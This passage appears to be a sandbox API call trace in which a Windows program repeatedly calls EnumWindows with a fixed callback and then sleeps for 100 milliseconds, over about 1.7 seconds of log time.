[0293.038] Sleep (dwMilliseconds=0x64) [0293.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.040] Sleep (dwMilliseconds=0x64) [0293.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.041] Sleep (dwMilliseconds=0x64) [0293.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.043] Sleep (dwMilliseconds=0x64) [0293.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.044] Sleep (dwMilliseconds=0x64) [0293.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.046] Sleep (dwMilliseconds=0x64) [0293.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.048] Sleep (dwMilliseconds=0x64) [0293.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.050] Sleep (dwMilliseconds=0x64) [0293.052] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.052] Sleep (dwMilliseconds=0x64) [0293.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.054] Sleep (dwMilliseconds=0x64) [0293.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.056] Sleep (dwMilliseconds=0x64) [0293.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.058] Sleep (dwMilliseconds=0x64) [0293.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.060] Sleep (dwMilliseconds=0x64) [0293.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.062] Sleep (dwMilliseconds=0x64) [0293.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.063] Sleep (dwMilliseconds=0x64) [0293.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.066] Sleep (dwMilliseconds=0x64) [0293.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.068] Sleep (dwMilliseconds=0x64) [0293.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.070] Sleep (dwMilliseconds=0x64) [0293.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.071] Sleep (dwMilliseconds=0x64) [0293.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.073] Sleep (dwMilliseconds=0x64) [0293.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.075] Sleep (dwMilliseconds=0x64) [0293.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.076] Sleep (dwMilliseconds=0x64) [0293.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.079] Sleep (dwMilliseconds=0x64) [0293.080] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.080] Sleep (dwMilliseconds=0x64) [0293.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.082] Sleep (dwMilliseconds=0x64) [0293.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.084] Sleep (dwMilliseconds=0x64) [0293.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.085] Sleep (dwMilliseconds=0x64) [0293.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.087] Sleep (dwMilliseconds=0x64) [0293.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.089] Sleep (dwMilliseconds=0x64) [0293.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.090] Sleep (dwMilliseconds=0x64) [0293.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.093] Sleep (dwMilliseconds=0x64) [0293.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.094] Sleep (dwMilliseconds=0x64) [0293.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.096] Sleep (dwMilliseconds=0x64) [0293.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.098] Sleep (dwMilliseconds=0x64) [0293.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.100] Sleep (dwMilliseconds=0x64) [0293.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.102] Sleep (dwMilliseconds=0x64) [0293.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.105] Sleep (dwMilliseconds=0x64) [0293.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.106] Sleep (dwMilliseconds=0x64) [0293.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.108] Sleep (dwMilliseconds=0x64) [0293.110] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.110] Sleep (dwMilliseconds=0x64) [0293.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.112] Sleep (dwMilliseconds=0x64) [0293.113] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.113] Sleep (dwMilliseconds=0x64) [0293.114] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.115] Sleep (dwMilliseconds=0x64) [0293.116] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.116] Sleep (dwMilliseconds=0x64) [0293.118] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.118] Sleep (dwMilliseconds=0x64) [0293.120] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.120] Sleep (dwMilliseconds=0x64) [0293.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.123] Sleep (dwMilliseconds=0x64) [0293.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.124] Sleep (dwMilliseconds=0x64) [0293.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.126] Sleep (dwMilliseconds=0x64) [0293.127] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.128] Sleep (dwMilliseconds=0x64) [0293.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.129] Sleep (dwMilliseconds=0x64) [0293.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.133] Sleep (dwMilliseconds=0x64) [0293.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.135] Sleep (dwMilliseconds=0x64) [0293.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.137] Sleep (dwMilliseconds=0x64) [0293.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.138] Sleep (dwMilliseconds=0x64) [0293.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.140] Sleep (dwMilliseconds=0x64) [0293.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.141] Sleep (dwMilliseconds=0x64) [0293.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.143] Sleep (dwMilliseconds=0x64) [0293.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.145] Sleep (dwMilliseconds=0x64) [0293.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.147] Sleep (dwMilliseconds=0x64) [0293.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.157] Sleep (dwMilliseconds=0x64) [0293.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.167] Sleep (dwMilliseconds=0x64) [0293.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.169] Sleep (dwMilliseconds=0x64) [0293.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.171] Sleep (dwMilliseconds=0x64) [0293.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.173] Sleep (dwMilliseconds=0x64) [0293.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.175] Sleep (dwMilliseconds=0x64) [0293.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.176] Sleep (dwMilliseconds=0x64) [0293.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.178] Sleep (dwMilliseconds=0x64) [0293.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.180] Sleep (dwMilliseconds=0x64) [0293.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.182] Sleep (dwMilliseconds=0x64) [0293.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.184] Sleep (dwMilliseconds=0x64) [0293.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.185] Sleep (dwMilliseconds=0x64) [0293.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.187] Sleep (dwMilliseconds=0x64) [0293.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.188] Sleep (dwMilliseconds=0x64) [0293.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.190] Sleep (dwMilliseconds=0x64) [0293.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.191] Sleep (dwMilliseconds=0x64) [0293.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.193] Sleep (dwMilliseconds=0x64) [0293.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.194] Sleep (dwMilliseconds=0x64) [0293.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.196] Sleep (dwMilliseconds=0x64) [0293.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.199] Sleep (dwMilliseconds=0x64) [0293.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.200] Sleep (dwMilliseconds=0x64) [0293.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.202] Sleep (dwMilliseconds=0x64) [0293.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.203] Sleep (dwMilliseconds=0x64) [0293.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.205] Sleep (dwMilliseconds=0x64) [0293.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.206] Sleep (dwMilliseconds=0x64) [0293.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.208] Sleep (dwMilliseconds=0x64) [0293.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.210] Sleep (dwMilliseconds=0x64) [0293.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.212] Sleep (dwMilliseconds=0x64) [0293.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.213] Sleep (dwMilliseconds=0x64) [0293.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.215] Sleep (dwMilliseconds=0x64) [0293.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.217] Sleep (dwMilliseconds=0x64) [0293.219] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.219] Sleep (dwMilliseconds=0x64) [0293.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.222] Sleep (dwMilliseconds=0x64) [0293.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.223] Sleep (dwMilliseconds=0x64) [0293.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.225] Sleep (dwMilliseconds=0x64) [0293.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.227] Sleep (dwMilliseconds=0x64) [0293.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.228] Sleep (dwMilliseconds=0x64) [0293.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.230] Sleep (dwMilliseconds=0x64) [0293.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.232] Sleep (dwMilliseconds=0x64) [0293.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.233] Sleep (dwMilliseconds=0x64) [0293.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.235] Sleep (dwMilliseconds=0x64) [0293.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.237] Sleep (dwMilliseconds=0x64) [0293.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.238] Sleep (dwMilliseconds=0x64) [0293.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.239] Sleep (dwMilliseconds=0x64) [0293.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.241] Sleep (dwMilliseconds=0x64) [0293.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.243] Sleep (dwMilliseconds=0x64) [0293.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.244] Sleep (dwMilliseconds=0x64) [0293.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.246] Sleep (dwMilliseconds=0x64) [0293.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.248] Sleep (dwMilliseconds=0x64) [0293.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.250] Sleep (dwMilliseconds=0x64) [0293.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.252] Sleep (dwMilliseconds=0x64) [0293.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.254] Sleep (dwMilliseconds=0x64) [0293.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.256] Sleep (dwMilliseconds=0x64) [0293.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.257] Sleep (dwMilliseconds=0x64) [0293.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.259] Sleep (dwMilliseconds=0x64) [0293.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.261] Sleep (dwMilliseconds=0x64) [0293.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.262] Sleep (dwMilliseconds=0x64) [0293.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.264] Sleep (dwMilliseconds=0x64) [0293.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.266] Sleep (dwMilliseconds=0x64) [0293.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.268] Sleep (dwMilliseconds=0x64) [0293.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.270] Sleep (dwMilliseconds=0x64) [0293.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.272] Sleep (dwMilliseconds=0x64) [0293.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.274] Sleep (dwMilliseconds=0x64) [0293.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.276] Sleep (dwMilliseconds=0x64) [0293.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.278] Sleep (dwMilliseconds=0x64) [0293.280] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.280] Sleep (dwMilliseconds=0x64) [0293.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.282] Sleep (dwMilliseconds=0x64) [0293.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.284] Sleep (dwMilliseconds=0x64) [0293.285] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.285] Sleep (dwMilliseconds=0x64) [0293.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.288] Sleep (dwMilliseconds=0x64) [0293.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.290] Sleep (dwMilliseconds=0x64) [0293.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.293] Sleep (dwMilliseconds=0x64) [0293.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.295] Sleep (dwMilliseconds=0x64) [0293.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.297] Sleep (dwMilliseconds=0x64) [0293.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.299] Sleep (dwMilliseconds=0x64) [0293.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.301] Sleep (dwMilliseconds=0x64) [0293.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.303] Sleep (dwMilliseconds=0x64) [0293.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.306] Sleep (dwMilliseconds=0x64) [0293.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.307] Sleep (dwMilliseconds=0x64) [0293.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.310] Sleep (dwMilliseconds=0x64) [0293.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.312] Sleep (dwMilliseconds=0x64) [0293.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.444] Sleep (dwMilliseconds=0x64) [0293.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.446] Sleep (dwMilliseconds=0x64) [0293.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.448] Sleep (dwMilliseconds=0x64) [0293.449] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.450] Sleep (dwMilliseconds=0x64) [0293.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.452] Sleep (dwMilliseconds=0x64) [0293.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.456] Sleep (dwMilliseconds=0x64) [0293.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.458] Sleep (dwMilliseconds=0x64) [0293.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.460] Sleep (dwMilliseconds=0x64) [0293.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.462] Sleep (dwMilliseconds=0x64) [0293.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.464] Sleep (dwMilliseconds=0x64) [0293.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.466] Sleep (dwMilliseconds=0x64) [0293.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.468] Sleep (dwMilliseconds=0x64) [0293.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.470] Sleep (dwMilliseconds=0x64) [0293.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.472] Sleep (dwMilliseconds=0x64) [0293.482] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.482] Sleep (dwMilliseconds=0x64) [0293.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.616] Sleep (dwMilliseconds=0x64) [0293.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.623] Sleep (dwMilliseconds=0x64) [0293.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.726] Sleep (dwMilliseconds=0x64) [0293.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.728] Sleep (dwMilliseconds=0x64) [0293.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.733] Sleep (dwMilliseconds=0x64) [0293.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.735] Sleep (dwMilliseconds=0x64) [0293.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.736] Sleep (dwMilliseconds=0x64) [0293.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.738] Sleep (dwMilliseconds=0x64) [0293.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.739] Sleep (dwMilliseconds=0x64) [0293.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.741] Sleep (dwMilliseconds=0x64) [0293.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.742] Sleep (dwMilliseconds=0x64) [0293.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.744] Sleep (dwMilliseconds=0x64) [0293.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.747] Sleep (dwMilliseconds=0x64) [0293.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.749] Sleep (dwMilliseconds=0x64) [0293.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.750] Sleep (dwMilliseconds=0x64) [0293.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.752] Sleep (dwMilliseconds=0x64) [0293.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.754] Sleep (dwMilliseconds=0x64) [0293.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.764] Sleep (dwMilliseconds=0x64) [0293.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.810] Sleep (dwMilliseconds=0x64) [0293.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.909] Sleep (dwMilliseconds=0x64) [0293.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.938] Sleep (dwMilliseconds=0x64) [0293.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.940] Sleep (dwMilliseconds=0x64) [0293.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.942] Sleep (dwMilliseconds=0x64) [0293.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.943] Sleep (dwMilliseconds=0x64) [0293.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.945] Sleep (dwMilliseconds=0x64) [0293.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.946] Sleep (dwMilliseconds=0x64) [0293.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0293.965] Sleep (dwMilliseconds=0x64) [0294.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.123] Sleep (dwMilliseconds=0x64) [0294.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.148] Sleep (dwMilliseconds=0x64) [0294.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.157] Sleep (dwMilliseconds=0x64) [0294.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.167] Sleep (dwMilliseconds=0x64) [0294.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.176] Sleep (dwMilliseconds=0x64) [0294.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.238] Sleep (dwMilliseconds=0x64) [0294.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.282] Sleep (dwMilliseconds=0x64) [0294.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.284] Sleep (dwMilliseconds=0x64) [0294.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.286] Sleep (dwMilliseconds=0x64) [0294.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.288] Sleep (dwMilliseconds=0x64) [0294.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.292] Sleep (dwMilliseconds=0x64) [0294.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.294] Sleep (dwMilliseconds=0x64) [0294.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.296] Sleep (dwMilliseconds=0x64) [0294.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.297] Sleep (dwMilliseconds=0x64) [0294.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.299] Sleep (dwMilliseconds=0x64) [0294.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.301] Sleep (dwMilliseconds=0x64) [0294.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.303] Sleep (dwMilliseconds=0x64) [0294.304] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.304] Sleep (dwMilliseconds=0x64) [0294.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.314] Sleep (dwMilliseconds=0x64) [0294.358] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.359] Sleep (dwMilliseconds=0x64) [0294.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.420] Sleep (dwMilliseconds=0x64) [0294.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.422] Sleep (dwMilliseconds=0x64) [0294.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.423] Sleep (dwMilliseconds=0x64) [0294.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.427] Sleep (dwMilliseconds=0x64) [0294.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.438] Sleep (dwMilliseconds=0x64) [0294.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.440] Sleep (dwMilliseconds=0x64) [0294.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.442] Sleep (dwMilliseconds=0x64) [0294.444] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.444] Sleep (dwMilliseconds=0x64) [0294.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.445] Sleep (dwMilliseconds=0x64) [0294.447] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.447] Sleep (dwMilliseconds=0x64) [0294.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.448] Sleep (dwMilliseconds=0x64) [0294.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.473] Sleep (dwMilliseconds=0x64) [0294.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.559] Sleep (dwMilliseconds=0x64) [0294.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.561] Sleep (dwMilliseconds=0x64) [0294.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.563] Sleep (dwMilliseconds=0x64) [0294.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.564] Sleep (dwMilliseconds=0x64) [0294.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.566] Sleep (dwMilliseconds=0x64) [0294.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.567] Sleep (dwMilliseconds=0x64) [0294.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.569] Sleep (dwMilliseconds=0x64) [0294.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.570] Sleep (dwMilliseconds=0x64) [0294.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.572] Sleep (dwMilliseconds=0x64) [0294.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.574] Sleep (dwMilliseconds=0x64) [0294.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.576] Sleep (dwMilliseconds=0x64) [0294.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.577] Sleep (dwMilliseconds=0x64) [0294.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.579] Sleep (dwMilliseconds=0x64) [0294.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.580] Sleep (dwMilliseconds=0x64) [0294.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.582] Sleep (dwMilliseconds=0x64) [0294.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.583] Sleep (dwMilliseconds=0x64) [0294.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.589] Sleep (dwMilliseconds=0x64) [0294.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.593] Sleep (dwMilliseconds=0x64) [0294.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.682] Sleep (dwMilliseconds=0x64) [0294.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.703] Sleep (dwMilliseconds=0x64) [0294.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.704] Sleep (dwMilliseconds=0x64) [0294.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.706] Sleep (dwMilliseconds=0x64) [0294.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.708] Sleep (dwMilliseconds=0x64) [0294.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.722] Sleep (dwMilliseconds=0x64) [0294.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.724] Sleep (dwMilliseconds=0x64) [0294.725] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.726] Sleep (dwMilliseconds=0x64) [0294.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.728] Sleep (dwMilliseconds=0x64) [0294.729] EnumWindows (lpEnumFunc=0x423dd0, 